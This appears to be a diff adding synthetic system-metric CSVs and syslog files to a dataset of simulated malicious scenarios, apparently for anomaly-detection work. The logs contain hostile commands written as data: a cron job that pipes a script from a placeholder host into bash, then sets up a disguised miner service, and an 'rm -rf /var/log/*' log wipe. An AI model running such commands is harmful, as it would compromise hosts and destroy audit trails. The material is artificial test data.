+ 2025-08-16T14:00:35Z,23.99,45.28,16.54,0.83,1.66
10
+ 2025-08-16T14:00:40Z,20.14,44.99,23.01,1.1,1.09
11
+ 2025-08-16T14:00:45Z,18.88,44.81,19.89,0.99,1.54
12
+ 2025-08-16T14:00:50Z,22.43,45.17,18.23,1.28,1.72
13
+ 2025-08-16T14:00:55Z,24.01,45.3,15.99,0.71,1.91
14
+ 2025-08-16T14:01:00Z,20.57,45.08,21.45,1.39,1.28
15
+ 2025-08-16T14:01:05Z,19.23,44.88,20.76,0.91,1.48
16
+ 2025-08-16T14:01:10Z,23.65,45.25,17.43,1.15,1.83
17
+ 2025-08-16T14:01:15Z,21.89,45.11,19.67,1.03,1.39
18
+ 2025-08-16T14:01:20Z,20.01,44.96,22.88,1.48,1.15
19
+ 2025-08-16T14:01:25Z,24.55,45.38,16.21,0.8,1.75
20
+ 2025-08-16T14:01:30Z,22.78,45.19,18.99,0.97,1.6
21
+ 2025-08-16T14:01:35Z,19.54,44.91,21.12,1.25,1.22
22
+ 2025-08-16T14:01:40Z,23.88,45.29,17.76,1.08,1.87
23
+ 2025-08-16T14:01:45Z,21.03,45.02,20.34,1.33,1.31
24
+ 2025-08-16T14:01:50Z,20.19,44.97,23.41,0.85,1.11
25
+ 2025-08-16T14:01:55Z,24.98,45.45,15.55,1.18,1.94
26
+ 2025-08-16T14:02:00Z,22.11,45.15,19.21,0.94,1.57
27
+ 2025-08-16T14:02:05Z,25.34,45.5,18.01,0.75,1.8
28
+ 2025-08-16T14:02:10Z,28.91,45.82,8.12,1.22,2.61
29
+ 2025-08-16T14:02:15Z,34.78,45.99,7.43,1.1,2.88
30
+ 2025-08-16T14:02:20Z,40.15,46.15,6.89,1.31,2.54
31
+ 2025-08-16T14:02:25Z,45.62,46.31,7.01,1.05,2.95
32
+ 2025-08-16T14:02:30Z,51.88,46.45,6.55,1.42,2.71
33
+ 2025-08-16T14:02:35Z,57.23,46.6,6.98,0.99,3.01
34
+ 2025-08-16T14:02:40Z,63.94,46.78,7.22,1.28,2.83
35
+ 2025-08-16T14:02:45Z,69.11,46.91,6.47,1.15,3.12
36
+ 2025-08-16T14:02:50Z,74.87,47.05,7.31,1.38,2.78
37
+ 2025-08-16T14:02:55Z,80.03,47.22,6.81,1.02,3.24
38
+ 2025-08-16T14:03:00Z,85.69,47.38,6.24,1.45,2.91
39
+ 2025-08-16T14:03:05Z,90.21,47.51,7.1,0.95,3.33
40
+ 2025-08-16T14:03:10Z,94.77,47.66,6.65,1.21,3.05
41
+ 2025-08-16T14:03:15Z,96.82,47.8,6.93,1.11,3.41
42
+ 2025-08-16T14:03:20Z,97.53,47.88,7.05,1.33,3.18
43
+ 2025-08-16T14:03:25Z,98.19,47.95,6.58,1.07,3.52
44
+ 2025-08-16T14:03:30Z,99.01,48.01,6.42,1.4,3.27
45
+ 2025-08-16T14:03:35Z,99.24,48.06,7.18,0.98,3.61
46
+ 2025-08-16T14:03:40Z,98.88,48.03,6.76,1.25,3.34
47
+ 2025-08-16T14:03:45Z,99.51,48.1,6.89,1.14,3.68
48
+ 2025-08-16T14:03:50Z,99.12,48.07,7.01,1.37,3.42
49
+ 2025-08-16T14:03:55Z,99.67,48.14,6.51,1.04,3.75
50
+ 2025-08-16T14:04:00Z,99.31,48.09,6.63,1.44,3.5
51
+ 2025-08-16T14:04:05Z,98.99,48.05,7.24,0.96,3.82
52
+ 2025-08-16T14:04:10Z,99.58,48.12,6.71,1.29,3.58
53
+ 2025-08-16T14:04:15Z,99.07,48.06,6.98,1.1,3.88
54
+ 2025-08-16T14:04:20Z,99.74,48.16,7.13,1.32,3.63
55
+ 2025-08-16T14:04:25Z,99.42,48.11,6.66,1.06,3.94
56
+ 2025-08-16T14:04:30Z,99.81,48.18,6.55,1.41,3.69
57
+ 2025-08-16T14:04:35Z,99.2,48.08,7.19,0.99,4.01
58
+ 2025-08-16T14:04:40Z,99.65,48.14,6.82,1.27,3.75
59
+ 2025-08-16T14:04:45Z,99.33,48.1,6.91,1.13,4.07
60
+ 2025-08-16T14:04:50Z,99.89,48.19,7.04,1.36,3.81
61
+ 2025-08-16T14:04:55Z,99.51,48.12,6.6,1.05,4.13
62
+ 2025-08-16T14:05:00Z,99.78,48.17,6.72,1.43,3.88
63
+ 2025-08-16T14:05:05Z,99.25,48.09,7.28,0.97,4.19
64
+ 2025-08-16T14:05:10Z,99.69,48.15,6.77,1.3,3.95
65
+ 2025-08-16T14:05:15Z,99.4,48.11,7.0,1.11,4.25
66
+ 2025-08-16T14:05:20Z,99.85,48.19,7.15,1.34,4.0
67
+ 2025-08-16T14:05:25Z,99.48,48.12,6.68,1.08,4.31
68
+ 2025-08-16T14:05:30Z,99.9,48.2,6.58,1.4,4.06
69
+ 2025-08-16T14:05:35Z,99.29,48.09,7.21,1.0,4.37
70
+ 2025-08-16T14:05:40Z,99.72,48.16,6.85,1.28,4.11
71
+ 2025-08-16T14:05:45Z,99.38,48.1,6.94,1.14,4.43
72
+ 2025-08-16T14:05:50Z,99.82,48.18,7.07,1.35,4.17
73
+ 2025-08-16T14:05:55Z,99.55,48.13,6.62,1.06,4.49
74
+ 2025-08-16T14:06:00Z,99.71,48.15,6.75,1.42,4.23
75
+ 2025-08-16T14:06:05Z,99.3,48.1,7.3,0.98,4.55
76
+ 2025-08-16T14:06:10Z,99.68,48.14,6.79,1.31,4.29
77
+ 2025-08-16T14:06:15Z,99.45,48.11,7.03,1.12,4.61
78
+ 2025-08-16T14:06:20Z,99.87,48.2,7.18,1.33,4.35
79
+ 2025-08-16T14:06:25Z,99.52,48.12,6.7,1.09,4.67
mali_dataset/scenario_1/mali_1_9.log ADDED
@@ -0,0 +1,21 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Aug 16 14:00:02 systemd[1]: Starting Daily apt upgrade and clean activities...
2
+ Aug 16 14:00:10 sshd[2108]: Accepted password for user admin from 192.168.1.10 port 49152 ssh2
3
+ Aug 16 14:00:11 systemd[1]: Started Session 12 of user admin.
4
+ Aug 16 14:00:35 CRON[2135]: (root) CMD ( /usr/lib/apt/apt.systemd.daily)
5
+ Aug 16 14:01:05 nginx[1120]: 10.0.2.2 - - [16/Aug/2025:14:01:05 +0000] "GET /healthz HTTP/1.1" 200 2 "-" "Consul Health Check"
6
+ Aug 16 14:01:28 kubelet[987]: INFO: Successfully probed container readiness for pod default/api-gateway-xyz
7
+ Aug 16 14:02:05 CRON[2198]: (admin) CMD (curl -s -L http://very-suspicious-files.com/payload.sh | bash)
8
+ Aug 16 14:02:10 bash[2201]: payload.sh: Starting download of required assets...
9
+ Aug 16 14:02:15 bash[2201]: payload.sh: Assets downloaded successfully.
10
+ Aug 16 14:02:20 bash[2201]: payload.sh: Configuring persistence mechanism.
11
+ Aug 16 14:02:25 bash[2201]: payload.sh: Creating systemd service file at /etc/systemd/system/sys-updater.service.
12
+ Aug 16 14:02:30 systemd[1]: Reloading.
13
+ Aug 16 14:02:35 systemd[1]: Enabled unit file sys-updater.service.
14
+ Aug 16 14:02:40 systemd[1]: Started System Updater Service.
15
+ Aug 16 14:02:41 sys-updater[2255]: Service initialized. Starting main process.
16
+ Aug 16 14:02:42 sys-updater[2255]: Connecting to mining pool at stratum+tcp://pool.example.com:4444
17
+ Aug 16 14:02:45 sys-updater[2255]: Connection successful. Mining threads started.
18
+ Aug 16 14:03:15 systemd[1]: user-1000.slice: Succeeded.
19
+ Aug 16 14:04:00 CRON[2310]: (root) CMD (cd / && run-parts --report /etc/cron.hourly)
20
+ Aug 16 14:05:05 nginx[1120]: 10.0.2.2 - - [16/Aug/2025:14:05:05 +0000] "GET /healthz HTTP/1.1" 200 2 "-" "Consul Health Check"
21
+ Aug 16 14:06:18 kubelet[987]: INFO: Container GC completed for pod default/worker-job-abc
mali_dataset/scenario_10/mali_10_1.csv ADDED
@@ -0,0 +1,91 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out
2
+ 2025-09-05T12:00:00Z,18.55,55.33,88.12,1.11,1.75
3
+ 2025-09-05T12:00:05Z,19.12,55.41,92.54,0.95,1.62
4
+ 2025-09-05T12:00:10Z,21.34,55.29,105.87,1.03,1.71
5
+ 2025-09-05T12:00:15Z,17.98,55.35,85.32,1.15,1.82
6
+ 2025-09-05T12:00:20Z,20.05,55.45,99.91,0.99,1.66
7
+ 2025-09-05T12:00:25Z,18.21,55.38,89.43,1.13,1.79
8
+ 2025-09-05T12:00:30Z,22.88,55.25,110.12,0.92,1.58
9
+ 2025-09-05T12:00:35Z,19.54,55.42,95.67,1.08,1.74
10
+ 2025-09-05T12:00:40Z,17.65,55.31,83.11,1.18,1.85
11
+ 2025-09-05T12:00:45Z,21.19,55.48,103.43,1.01,1.69
12
+ 2025-09-05T12:00:50Z,23.11,55.22,115.34,0.89,1.55
13
+ 2025-09-05T12:00:55Z,18.99,55.39,91.88,1.10,1.77
14
+ 2025-09-05T12:01:00Z,20.32,55.43,101.21,1.05,1.72
15
+ 2025-09-05T12:01:05Z,19.87,55.37,97.54,1.07,1.73
16
+ 2025-09-05T12:01:10Z,22.45,55.28,108.98,0.94,1.61
17
+ 2025-09-05T12:01:15Z,18.15,55.34,87.65,1.14,1.81
18
+ 2025-09-05T12:01:20Z,20.87,55.46,102.76,1.02,1.70
19
+ 2025-09-05T12:01:25Z,17.88,55.32,84.99,1.17,1.84
20
+ 2025-09-05T12:01:30Z,23.54,55.21,118.43,0.88,1.53
21
+ 2025-09-05T12:01:35Z,19.23,55.40,93.21,1.09,1.76
22
+ 2025-09-05T12:01:40Z,21.76,55.27,106.54,0.96,1.63
23
+ 2025-09-05T12:01:45Z,18.43,55.36,88.89,1.12,1.78
24
+ 2025-09-05T12:01:50Z,20.55,55.44,100.32,1.04,1.71
25
+ 2025-09-05T12:01:55Z,22.99,55.23,112.78,0.91,1.57
26
+ 2025-09-05T12:02:00Z,19.65,55.39,96.34,1.06,1.73
27
+ 2025-09-05T12:02:05Z,18.01,55.33,86.21,1.16,1.83
28
+ 2025-09-05T12:02:10Z,21.54,55.47,104.98,1.00,1.68
29
+ 2025-09-05T12:02:15Z,23.88,55.20,120.12,0.87,1.51
30
+ 2025-09-05T12:02:20Z,19.11,55.38,92.65,1.11,1.78
31
+ 2025-09-05T12:02:25Z,20.76,55.42,101.87,1.05,1.72
32
+ 2025-09-05T12:02:30Z,18.32,55.35,88.11,1.13,1.80
33
+ 2025-09-05T12:02:35Z,22.65,55.26,109.54,0.93,1.60
34
+ 2025-09-05T12:02:40Z,92.45,55.65,3845.12,1.15,1.82
35
+ 2025-09-05T12:02:45Z,25.12,55.51,210.34,1.01,1.69
36
+ 2025-09-05T12:02:50Z,19.87,55.43,98.76,1.08,1.74
37
+ 2025-09-05T12:02:55Z,21.34,55.39,104.54,1.03,1.71
38
+ 2025-09-05T12:03:00Z,18.98,55.48,91.23,1.12,1.79
39
+ 2025-09-05T12:03:05Z,20.54,55.41,100.87,1.06,1.73
40
+ 2025-09-05T12:03:10Z,22.76,55.34,111.43,0.95,1.62
41
+ 2025-09-05T12:03:15Z,18.23,55.45,87.89,1.14,1.81
42
+ 2025-09-05T12:03:20Z,21.11,55.38,103.21,1.02,1.70
43
+ 2025-09-05T12:03:25Z,19.43,55.47,94.65,1.09,1.76
44
+ 2025-09-05T12:03:30Z,23.01,55.32,114.78,0.90,1.56
45
+ 2025-09-05T12:03:35Z,18.76,55.43,90.32,1.13,1.80
46
+ 2025-09-05T12:03:40Z,20.88,55.40,102.43,1.04,1.71
47
+ 2025-09-05T12:03:45Z,22.43,55.36,108.87,0.97,1.64
48
+ 2025-09-05T12:03:50Z,18.05,55.46,86.54,1.15,1.82
49
+ 2025-09-05T12:03:55Z,21.65,55.37,105.98,0.99,1.67
50
+ 2025-09-05T12:04:00Z,19.99,55.44,98.12,1.07,1.74
51
+ 2025-09-05T12:04:05Z,23.32,55.31,116.54,0.89,1.54
52
+ 2025-09-05T12:04:10Z,18.54,55.42,89.76,1.12,1.79
53
+ 2025-09-05T12:04:15Z,20.67,55.39,101.43,1.05,1.72
54
+ 2025-09-05T12:04:20Z,22.87,55.35,110.98,0.94,1.61
55
+ 2025-09-05T12:04:25Z,18.11,55.48,87.12,1.14,1.81
56
+ 2025-09-05T12:04:30Z,21.43,55.38,104.32,1.01,1.69
57
+ 2025-09-05T12:04:35Z,19.76,55.45,96.87,1.08,1.75
58
+ 2025-09-05T12:04:40Z,23.65,55.30,119.32,0.88,1.52
59
+ 2025-09-05T12:04:45Z,18.88,55.41,91.54,1.11,1.78
60
+ 2025-09-05T12:04:50Z,20.98,55.39,102.87,1.03,1.71
61
+ 2025-09-05T12:04:55Z,22.12,55.37,107.54,0.96,1.63
62
+ 2025-09-05T12:05:00Z,18.34,55.47,88.43,1.13,1.80
63
+ 2025-09-05T12:05:05Z,21.87,55.36,106.32,0.98,1.66
64
+ 2025-09-05T12:05:10Z,19.55,55.44,95.76,1.09,1.76
65
+ 2025-09-05T12:05:15Z,23.11,55.33,113.87,0.91,1.57
66
+ 2025-09-05T12:05:20Z,18.67,55.42,90.11,1.12,1.79
67
+ 2025-09-05T12:05:25Z,20.78,55.40,101.98,1.04,1.72
68
+ 2025-09-05T12:05:30Z,22.98,55.35,112.34,0.93,1.60
69
+ 2025-09-05T12:05:35Z,18.21,55.46,87.65,1.15,1.82
70
+ 2025-09-05T12:05:40Z,21.55,55.37,105.43,1.00,1.68
71
+ 2025-09-05T12:05:45Z,19.89,55.45,97.32,1.07,1.74
72
+ 2025-09-05T12:05:50Z,23.43,55.32,117.87,0.89,1.54
73
+ 2025-09-05T12:05:55Z,18.45,55.43,89.21,1.13,1.80
74
+ 2025-09-05T12:06:00Z,20.99,55.41,102.65,1.05,1.72
75
+ 2025-09-05T12:06:05Z,22.67,55.36,109.87,0.95,1.62
76
+ 2025-09-05T12:06:10Z,18.03,55.47,86.88,1.14,1.81
77
+ 2025-09-05T12:06:15Z,21.78,55.38,106.11,0.99,1.67
78
+ 2025-09-05T12:06:20Z,19.67,55.44,96.12,1.08,1.75
79
+ 2025-09-05T12:06:25Z,23.21,55.34,115.43,0.90,1.55
80
+ 2025-09-05T12:06:30Z,18.78,55.42,90.87,1.11,1.78
81
+ 2025-09-05T12:06:35Z,20.89,55.40,102.21,1.04,1.71
82
+ 2025-09-05T12:06:40Z,22.54,55.35,108.32,0.96,1.63
83
+ 2025-09-05T12:06:45Z,18.17,55.46,87.34,1.15,1.82
84
+ 2025-09-05T12:06:50Z,21.98,55.37,106.76,0.98,1.66
85
+ 2.025-09-05T12:06:55Z,19.45,55.45,95.43,1.09,1.76
86
+ 2025-09-05T12:07:00Z,23.54,55.33,118.98,0.88,1.53
87
+ 2025-09-05T12:07:05Z,18.59,55.43,89.99,1.12,1.79
88
+ 2025-09-05T12:07:10Z,20.76,55.41,101.76,1.05,1.72
89
+ 2025-09-05T12:07:15Z,22.89,55.36,111.65,0.94,1.61
90
+ 2025-09-05T12:07:20Z,18.23,55.47,87.98,1.14,1.81
91
+ 2025-09-05T12:07:25Z,21.67,55.38,105.87,1.00,1.68
mali_dataset/scenario_10/mali_10_1.log ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Sep 05 12:00:10 mailserver sshd[4521]: Failed password for invalid user visitor from 203.0.113.55 port 48122 ssh2
2
+ Sep 05 12:00:25 mailserver CRON[4530]: (root) CMD ( /usr/lib/i386-linux-gnu/sa/sa1 1 1)
3
+ Sep 05 12:00:40 mailserver kernel: [6890.123456] TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies.
4
+ Sep 05 12:01:05 mailserver systemd[1]: Starting Clean php session files...
5
+ Sep 05 12:01:15 mailserver sshd[4588]: Accepted password for root from 198.51.100.12 port 56234 ssh2
6
+ Sep 05 12:01:16 mailserver systemd-logind[987]: New session 5 of user root.
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+ Sep 05 12:01:30 mailserver postfix/smtpd[4599]: connect from unknown[192.0.2.88]
8
+ Sep 05 12:01:35 mailserver postfix/smtpd[4599]: lost connection after AUTH from unknown[192.0.2.88]
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+ Sep 05 12:01:35 mailserver postfix/smtpd[4599]: disconnect from unknown[192.0.2.88] ehlo=1 auth=0/1 commands=1/2
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+ Sep 05 12:02:05 mailserver su[4621]: (to root) ubuntu on pts/0
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+ Sep 05 12:02:10 mailserver syslog-ng[1234]: syslog-ng starting up; version='3.5.6'
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+ Sep 05 12:02:35 mailserver kernel: [6995.654321] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/ntpd" name="/run/ntp/ntpd.sock" pid=1345 comm="ntpd" requested_mask="wr" denied_mask="wr" fsuid=0 ouid=0
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+ Sep 05 12:02:40 mailserver auditd[887]: type=EXECVE msg=audit(1725547360.215:105): argc=4 a0="/bin/rm" a1="-rf" a2="/var/log/*"
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+ Sep 05 12:03:10 mailserver aide[2101]: AIDE found differences between database and filesystem!!
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+ Sep 05 12:03:11 mailserver aide[2101]: Deleted file: /var/log/auth.log
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+ Sep 05 12:03:12 mailserver aide[2101]: Deleted file: